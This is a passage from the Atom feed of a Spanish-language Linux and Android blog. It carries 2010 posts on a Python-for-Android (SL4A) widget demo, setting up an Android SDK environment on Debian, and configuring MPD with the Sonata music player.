/&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-143604603396367042?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/143604603396367042/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=143604603396367042&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/143604603396367042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/143604603396367042'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/12/como-desarrollar-para-android-parte-ii.html' title='¿Cómo desarrollar para Android? - Parte II'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3977272201887582030</id><published>2010-11-24T05:21:00.000-08:00</published><updated>2010-11-24T05:21:59.571-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Python For Android - Mito o Realidad</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Estuve unas cuantas horas investigando sobre la posibilidad de desarrollar con Python sobre Android y a continuación les daré un resumen de los resultados y conclusiones que obtuve.&lt;br /&gt;&lt;br /&gt;Acá les dejo el script que usé para probar una parte de los widgets disponibles en la API por si quieren probarlo y echarle un ojo (no me detendré a explicarlo mucho porque el código prácticamente se explica a sí mismo). Además supongo que siguieron los pasos de mi tutorial sobre &lt;a href="http://damncorner.blogspot.com/2010/11/como-desarrollar-para-android-parte-i.html"&gt;¿Cómo desarrollar para Android?&lt;/a&gt; y tienen configurado su entorno de desarrollo y saben cómo usar el emulador.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;droid = android.Android()&lt;br /&gt;&lt;br /&gt;tiempo = droid.dialogGetInput("Escriba la cantidad de tiempo que desea para el demo (10-100)","Tiempo:")&lt;br /&gt;print tiempo&lt;br /&gt;&lt;br /&gt;tiempo = int(tiempo[1])&lt;br /&gt;if tiempo &lt; 10:    tiempo = 10elif tiempo &gt; 100:&lt;br /&gt;    tiempo = 100&lt;br /&gt;&lt;br /&gt;droid.dialogCreateHorizontalProgress('Barra de Progreso', 'Hola, estoy progresando...', tiempo)&lt;br /&gt;droid.dialogShow()&lt;br /&gt;for i in range(tiempo):&lt;br /&gt;    time.sleep(0.5)  &lt;br /&gt;    droid.dialogSetCurrentProgress(i)&lt;br /&gt;droid.dialogDismiss()&lt;br /&gt;&lt;br /&gt;droid.dialogCreateSpinnerProgress('Spinner de progreso', 'Mirá, mirá... estoy girando')  &lt;br /&gt;droid.dialogShow()&lt;br /&gt;time.sleep(tiempo)&lt;br /&gt;droid.dialogDismiss()&lt;br /&gt;&lt;br /&gt;droid.notify('Test de Python' , 'Oh! puedo notificar también')&lt;br /&gt;&lt;br /&gt;droid.dialogCreateAlert(title, message)&lt;br /&gt;droid.dialogSetPositiveButtonText('Si')&lt;br /&gt;droid.dialogSetNegativeButtonText('No')&lt;br /&gt;droid.dialogSetNeutralButtonText('Cancelar')&lt;br /&gt;droid.dialogShow()&lt;br /&gt;response = droid.dialogGetResponse().result  &lt;br /&gt;print response&lt;br /&gt;droid.makeToast('El resultado de la ejecucion del boton es: %s' %response['which'])&lt;br /&gt;&lt;br /&gt;droid.dialogCreateAlert('Selecciona un color')&lt;br /&gt;colores = ('amarillo', 'azul', 'rojo')&lt;br /&gt;droid.dialogSetItems(colores)&lt;br /&gt;droid.dialogShow()&lt;br /&gt;respuesta  = droid.dialogGetResponse().result&lt;br /&gt;print respuesta&lt;br /&gt;droid.makeToast('El color seleccionado es: %s' %colores[respuesta['item']]) &lt;br /&gt;&lt;br /&gt;droid.makeToast('Bueno, chao')&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Para correrlo deben instalar algunos paquetes en el cel. Pueden hacerlo con el comando del SDK: &lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ adb install /ruta/del/archivo.apk&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;con los QR que están en la página del proyecto &lt;a href="http://code.google.com/p/android-scripting"&gt;SL4A&lt;/a&gt; o con el método que mejor les parezca.&lt;br /&gt;&lt;br /&gt;Ok, las cosas a instalar son:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://code.google.com/p/android-scripting/downloads/detail?name=sl4a_r3.apk&amp;can=2&amp;q="&gt;SL4A&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://code.google.com/p/android-scripting/downloads/detail?name=python_for_android_r1.apk&amp;can=2&amp;q="&gt;Python For Android&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Luego que las instalen van al dispositivo/emulador y buscan el icono de &lt;strong&gt;Python For Android&lt;/strong&gt;, tap e instalan. Eso tardará unos minutos mientras descarga unas cosas. Al terminar entonces enviamos el script de prueba al cel, podemos usar el comando:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ adb push /ruta/del/script.py /sdcard/sl4a/scripts/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Eso lo copiará en la carpeta del SL4A. Ahora cuando ejecutemos el Python For Android veremos en la lista de scripts nuestra infame creación, tap en el script y ejecutar. Lo demás es disfrutar las ventanitas y controles :P&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Conclusiones&lt;/h2&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;La API de SL4A es reducida, es decir si bien está bastante adelantada aún faltan muchas cosas/funciones por implementar.&lt;/li&gt;&lt;li&gt;Python For Android a diferencia de lo que pensaba no soporta widgets gráficos en Android, solamente notificaciones, toast y cosas básicas tipo entrada de texto, selección, etc. Así que nos olvidamos de interfaces gráficas ricas en imágenes y esas cosas.&lt;/li&gt;&lt;li&gt;Sí existen algunos issues de performance, de hecho un pana que está trabajando duro con Android me dice que los desarrolladores todos los días se matan por tratar de mejorar el rendimiento pues de por si ya es algo lento (hablo de apps nativas). Sin embargo la versión de Python es cross-compiled y corre incluso más rápido que Jython&lt;/li&gt;&lt;li&gt;Hay formas de empaquetar scripts en .apk y aunque son algo un poco experimentales funcionan bastante bien (son, digamos, "tweaks" del método de construcción de paquetes con Java)&lt;/li&gt;&lt;li&gt;En cuanto a estabilidad no hay mayores issues, se puede usar para aplicaciones de producción&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Finalmente puedo decir (muy a mi pesar) que no podemos contar con ésta alternativa para desarrollar aplicaciones ricas en interfaces gráficas, sin embargo es una opción interesante a tener en cuenta cuando madure un poco más. Personalmente le haré seguimiento tipo ninja y esperaré con ansias que en el futuro se puedan crear aplicaciones tan buenas como se hace con Java.&lt;br /&gt;&lt;br /&gt;Más información en:&lt;br /&gt;&lt;br /&gt;* &lt;a href="http://code.google.com/p/android-scripting/"&gt;http://code.google.com/p/android-scripting/&lt;/a&gt;&lt;br /&gt;*&lt;a href="http://code.google.com/p/android-scripting/wiki/FAQ"&gt;http://code.google.com/p/android-scripting/wiki/FAQ&lt;/a&gt;&lt;br /&gt;* &lt;a href="http://code.google.com/p/android-scripting/wiki/Tutorials"&gt;http://code.google.com/p/android-scripting/wiki/Tutorials&lt;/a&gt;&lt;br /&gt;* &lt;a href="http://code.google.com/p/android-scripting/wiki/ApiReference"&gt;http://code.google.com/p/android-scripting/wiki/ApiReference&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3977272201887582030?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3977272201887582030/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3977272201887582030&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3977272201887582030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3977272201887582030'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/11/python-for-android-mito-o-realidad.html' title='Python For Android - Mito o Realidad'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1460183395984141555</id><published>2010-11-20T06:10:00.000-08:00</published><updated>2010-11-20T06:10:57.800-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>¿Cómo desarrollar para Android? - Parte I</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_oLUxtmo5LIU/TOfWEpxNamI/AAAAAAAAAZk/GvIxrkb0URE/s1600/android_logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="128" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/TOfWEpxNamI/AAAAAAAAAZk/GvIxrkb0URE/s200/android_logo.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Actualmente me he visto en la necesidad de crear aplicaciones para Android y como no había incursionado en ese mundo, he decidido hacer una serie de artículos para documentar todo el proceso.&lt;br /&gt;&lt;br /&gt;En ésta primera entrega explicaré los pasos que seguí para poner a punto el entorno de desarrollo. Debo resaltar que las recetas están hechas para Debian GNU/Linux, sin embargo puedes adaptarla a tu distro favorita con unos leves ajustes.&lt;br /&gt;&lt;br /&gt;Para los que no están familiarizados con mis tutoriales les recuerdo que todas las instrucciones que comiencen con el caracter $ se ejecutan como usuario normal y las que comiencen con # se ejecutan como superusuario (root), por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ ls -l (instrucción ejecutada como usuario)&lt;br /&gt;# aptitude update (instrucción ejecutada como root)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Dicho esto comenzamos. &lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Instalar dependencias&lt;/h2&gt;&lt;br /&gt;Lo primero que debemos hacer es instalar los paquetes necesarios para el desarrollo, que básicamente son: la máquina virtual de Java (JRE) y el entorno de desarrollo (JDK). En una distribución Debian GNU/Linux bastaría con:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude update&lt;br /&gt;# aptitude install sun-java6-jdk sun-java6-jre&lt;br /&gt;# aptitude remove gcj-jdk&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Si se dan cuenta usamos las implementaciones de SUN y removimos cualquier posible instalación del compilador GNU de Java (gcj) pues en la &lt;a href="http://developer.android.com/sdk/requirements.html"&gt;documentación oficial&lt;/a&gt; nos dicen que gcj NO es compatible con Android.&lt;br /&gt;&lt;br /&gt;Para más información sobre los requerimientos del sistema visita: &lt;a href="http://developer.android.com/sdk/requirements.html"&gt;http://developer.android.com/sdk/requirements.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Luego que instalamos los paquetes nos aseguramos de que el sistema seleccione las opciones correctas por defecto de cada ejecutable, pare eso usamos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# update-alternatives --config javac&lt;br /&gt;# update-alternatives --config java&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y en ambos casos, seleccionamos las opciones de SUN.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Instalar Ant&lt;/h2&gt;&lt;br /&gt;Ant es una herramienta que nos permite construir aplicaciones Java. En nuestro caso, nos permitirá compilar y construir archivos .apk (los instalables en Android) a partir de nuestro código fuente.&lt;br /&gt;&lt;br /&gt;Nos vamos a la &lt;a href="http://ant.apache.org/bindownload.cgi"&gt;página de descargas de Ant&lt;/a&gt;, descargamos uno de los archivos comprimidos que se encuentran en la sección "Current Release of Ant" y lo descomprimimos en una carpeta de nuestra preferencia. En mi caso lo hice en /opt y me quedó la carpeta: &lt;strong&gt;/opt/apache-ant-1.8.1&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Instalar el Android SDK&lt;/h2&gt;&lt;br /&gt;Bueno, teniendo las herramientas y dependencias listas, vamos a instalar el entorno de desarrollo de Android. Nos vamos a la &lt;a href="http://developer.android.com/sdk/index.html"&gt;página del SDK de Android&lt;/a&gt; y descargamos la versión que corresponda a nuestra plataforma. Al igual que con Ant, descomprimimos el archivo en la carpeta de nuestra preferencia. Ésta vez también lo descomprimí en /opt, quedando en la carpeta: &lt;strong&gt;/opt/android-sdk-linux_x86&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;Ahora editamos el archivo ~/.bashrc para agregar la ruta de los binarios al PATH del sistema y establecer las variables de entorno ANT_HOME y JAVA_HOME. Eso lo logramos agregando las siguientes líneas:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;export PATH=${PATH}:/opt/android-sdk-linux_x86/tools&lt;br /&gt;export PATH=${PATH}:/opt/apache-ant-1.8.1/bin&lt;br /&gt;export ANT_HOME=/opt/apache-ant-1.8.1&lt;br /&gt;export JAVA_HOME=/usr/lib/jvm/java-6-sun/jre&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Recuerda cambiar las rutas de esas variables por las rutas donde se encuentran tus binarios. Si no sabes muy bien hacía dónde debe apuntar JAVA_HOME puedes ejecutar el comando:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# find / -name "tools.jar" | grep sun&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y entonces agrega la ruta que te arroje.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Nota: Debes cerrar las terminales abiertas y volverlas a abrir para que los cambios en las rutas surtan efecto.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Instalar plataformas de Android&lt;/h2&gt;&lt;br /&gt;&lt;em&gt;¿Plataformas? ¿De qué me hablas?&lt;/em&gt; - Seguramente te estarás haciendo esas preguntas. Las plataformas son las "versiones" de Android disponibles (por ejemplo Android 1.6, Android 2.2) y necesitamos &lt;strong&gt;al menos una&lt;/strong&gt; para poder compilar la aplicación y configurar un Android Virtual Device (AVD) para probarla.&lt;br /&gt;&lt;br /&gt;Esto es muy simple, basta con abrir una terminal y ejecutar:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ android&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Nos aparecerá una aplicación (AVD Manager) como la que se muestra a continuación y allí nos vamos a la sección &lt;strong&gt;Available Packages&lt;/strong&gt;, actualizamos el repositorio y seleccionamos la(s) plataforma(s) que deseamos instalar.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/TOfWM-fU1tI/AAAAAAAAAZo/bpN3LKU52SM/s1600/avd_manager.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="186" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/TOfWM-fU1tI/AAAAAAAAAZo/bpN3LKU52SM/s320/avd_manager.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Finalmente creamos un nuevo dispositivo virtual en la sección &lt;strong&gt;Virtual Device&lt;/strong&gt;. Hacemos clic en el botón &lt;strong&gt;New...&lt;/strong&gt;, le asignamos un nombre, seleccionamos una plataforma y hacemos clic en &lt;strong&gt;Create AVD&lt;/strong&gt;. &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_oLUxtmo5LIU/TOfWRROV_bI/AAAAAAAAAZs/I7qCU3CtOgM/s1600/avd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/TOfWRROV_bI/AAAAAAAAAZs/I7qCU3CtOgM/s320/avd.png" width="240" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Para probar nuestro flamante dispositivo lo seleccionamos y hacemos clic en &lt;strong&gt;Start...&lt;/strong&gt;. Luego clic en &lt;strong&gt;Launch&lt;/strong&gt; y al cabo de unos segundos tendremos el emulador corriendo una instancia de Android :)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_oLUxtmo5LIU/TOfWSnHdNtI/AAAAAAAAAZw/el8I62ED1A0/s1600/emulador.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/TOfWSnHdNtI/AAAAAAAAAZw/el8I62ED1A0/s320/emulador.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;Desarrollo&lt;/h2&gt;&lt;br /&gt;Ahora viene la parte divertida, crear la aplicación. En las próximas entregas estaré hablando sobre el desarrollo, por los momentos pueden jugar creando un &lt;a href="http://developer.android.com/resources/tutorials/hello-world.html"&gt;Hello World&lt;/a&gt; y pueden leer sobre cómo &lt;a href="http://developer.android.com/guide/developing/eclipse-adt.html"&gt;desarrollar con Eclipse&lt;/a&gt; y cómo &lt;a href="http://developer.android.com/guide/developing/other-ide.html"&gt;desarrollar con otros IDEs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Compilar y construir el ejecutable&lt;/h2&gt;&lt;br /&gt;Luego de que tengamos nuestra aplicación lista debemos crear el instalador. Eso es tan simple como navegar hasta la carpeta raíz del proyecto (código fuente) y ejecutar:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ ant debug&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Si nuestro proyecto se llama "HelloAndroid" esto generará un archivo HelloAndroid-debug.apk y ese será nuestro instalador.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Probar en el emulador&lt;/h2&gt;&lt;br /&gt;Finalmente, una de las partes más esperadas. ¿Cómo se verá nuestra aplicación en un dispositivo? Pues fácil, en una consola ejecutamos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ android&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;E iniciamos nuestro dispositivo virtual. Luego que el dispositivo esté funcionando ejecutamos en otra consola:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ adb install /ruta/de/nuestro/instalador/HelloAndroid-debug.apk&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y con eso enviaremos la aplicación al dispositivo. La buscamos en el menú y voilá! A jugar :D&lt;br /&gt;&lt;br /&gt;Espero que les haya sido de utilidad éste tutorial. Próximamente seguiré documentando mis travesías en el mundo de Android. Cambio y fuera.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1460183395984141555?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1460183395984141555/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1460183395984141555&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1460183395984141555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1460183395984141555'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/11/como-desarrollar-para-android-parte-i.html' title='¿Cómo desarrollar para Android? - Parte I'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oLUxtmo5LIU/TOfWEpxNamI/AAAAAAAAAZk/GvIxrkb0URE/s72-c/android_logo.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-6140339565825660058</id><published>2010-07-27T13:40:00.000-07:00</published><updated>2010-07-27T13:40:13.954-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>MPD + Sonata: Una combinación perfecta para reproducir música</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Lo primero que debo aclarar antes de empezar éste post es que la forma de reproducir música con éstas herramientas es completamente diferente a la tradicional. Si no te interesa reproducir música como un verdadero geek entonces huye y busca otras aplicaciones, éstas no son para tí.&lt;br /&gt;&lt;br /&gt;Si eres valiente, continuemos entonces. MPD es un demonio (o sea un servicio) para reproducir música, corre en segundo plano y no tiene interfaz gráfica. De hecho se inicia como cualquier otro servicio de tu equipo (red, hal, udev, etc).&lt;br /&gt;&lt;br /&gt;¿Cómo demonios hago para interactuar con él? te preguntarás. Sencillo, está basado en una arquitectura cliente-servidor así que existen aplicaciones que se comunican con él (clientes) y que te permiten manejarlo. Ahí es donde entra Sonata y compañía.&lt;br /&gt;&lt;br /&gt;Lo primero que debemos hacer es instalar las dependencias:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# aptitude install mpd mpc sonata&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Yo instalaré 2 clientes, Sonata y MPC, porque quiero controlar la reproducción vía SSH desde mi celular xD (sí, sí, muy geek... pero me gusta la comodidad)&lt;br /&gt;&lt;br /&gt;Luego vamos a nuestro directorio personal, creamos la carpeta &lt;b&gt;.mpd&lt;/b&gt; y dentro de ésta creamos dos carpetas más, &lt;b&gt;playlists&lt;/b&gt; y &lt;b&gt;music&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ cd ~&lt;br /&gt;$ mkdir -p .mpd/playlists&lt;br /&gt;$ mkdir -p .mpd/music&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Dentro de la carpeta &lt;b&gt;.mpd&lt;/b&gt; creamos los archivos &lt;b&gt;mpd.db&lt;/b&gt;, &lt;b&gt;mpd.log&lt;/b&gt; y &lt;b&gt;mpd.error&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ touch .mpd/mpd.db&lt;br /&gt;$ touch .mpd/mpd.log&lt;br /&gt;$ touch .mpd/mpd.error&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora, por cada carpeta de música que tengamos en nuestro sistema creamos un enlace simbólico dentro de music:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$ ln -s /ruta/de_la/carpeta1 .mpd/music&lt;br /&gt;$ ln -s /ruta/de_la/carpeta2 .mpd/music&lt;br /&gt;...&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego (como root) editamos el archivo de configuración del MPD en &lt;b&gt;/etc/mpd.conf&lt;/b&gt; y modificamos las siguientes opciones:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;pre&gt;music_directory     /home/tu_usuario/.mpd/music&lt;br /&gt;playlist_directory  /home/tu_usuario/.mpd/playlists&lt;br /&gt;db_file             /home/tu_usuario/.mpd/mpd.db&lt;br /&gt;log_file            /home/tu_usuario/.mpd/mpd.log&lt;br /&gt;error_file          /home/tu_usuario/.mpd/mpd.error&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Comentamos la línea de usuario para evitar problemas con los permisos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;pre&gt;#user             "mpd"&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y buscamos el apartado de audio y lo configuramos para ALSA o para PulseAudio:&lt;br /&gt;&lt;br /&gt;ALSA:&lt;br /&gt;&lt;code&gt;&lt;pre&gt;audio_output {&lt;br /&gt;        type    "alsa"&lt;br /&gt;        name    "My ALSA Device"&lt;br /&gt;}&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;PulseAudio:&lt;br /&gt;&lt;code&gt;&lt;pre&gt;audio_output {&lt;br /&gt;        type    "pulse"&lt;br /&gt;        name    "My PulseAudio Device"&lt;br /&gt;}&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Establecemos un mezclador por software descomentando la siguiente línea:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;mixer_type "software"&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y voilá! Luego reiniciamos el servicio y creamos la base de datos de tags:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;# /etc/init.d/mpd restart --create-db&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora desde Sonata (o desde mpc) agregamos las canciones que queramos a la lista y empezamos a disfrutar. Es tan genial ésta combinación que podemos cerrar el Sonata e incluso hasta la sesión gráfica y la música seguirá sonando. &lt;br /&gt;&lt;br /&gt;Nos quedará algo tan mínimo como esto:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_oLUxtmo5LIU/TE9AHO0xDcI/AAAAAAAAAYQ/7_a-UFOMwP8/s1600/sonata_mini.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/TE9AHO0xDcI/AAAAAAAAAYQ/7_a-UFOMwP8/s450/sonata_mini.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;O en su versión extendida:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/TE9BFgUI5zI/AAAAAAAAAYY/Ep4Pr2_uWSY/s1600/sonata_ext.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/TE9BFgUI5zI/AAAAAAAAAYY/Ep4Pr2_uWSY/s470/sonata_ext.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Y con unas agradables notificaciones:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_oLUxtmo5LIU/TE9BJc4mSWI/AAAAAAAAAYg/XOM71sEPi1g/s1600/sonata_notif.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/TE9BJc4mSWI/AAAAAAAAAYg/XOM71sEPi1g/s541/sonata_notif.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Díganme... ¿No es una maravilla? Bueno de aquí en adelante los dejo para que experimenten y se enamoren.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-6140339565825660058?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/6140339565825660058/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=6140339565825660058&amp;isPopup=true' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6140339565825660058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6140339565825660058'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/07/mpd-sonata-una-combinacion-perfecta.html' title='MPD + Sonata: Una combinación perfecta para reproducir música'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oLUxtmo5LIU/TE9AHO0xDcI/AAAAAAAAAYQ/7_a-UFOMwP8/s72-c/sonata_mini.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1699228817672846069</id><published>2010-07-10T11:48:00.000-07:00</published><updated>2010-07-10T11:48:03.100-07:00</updated><category 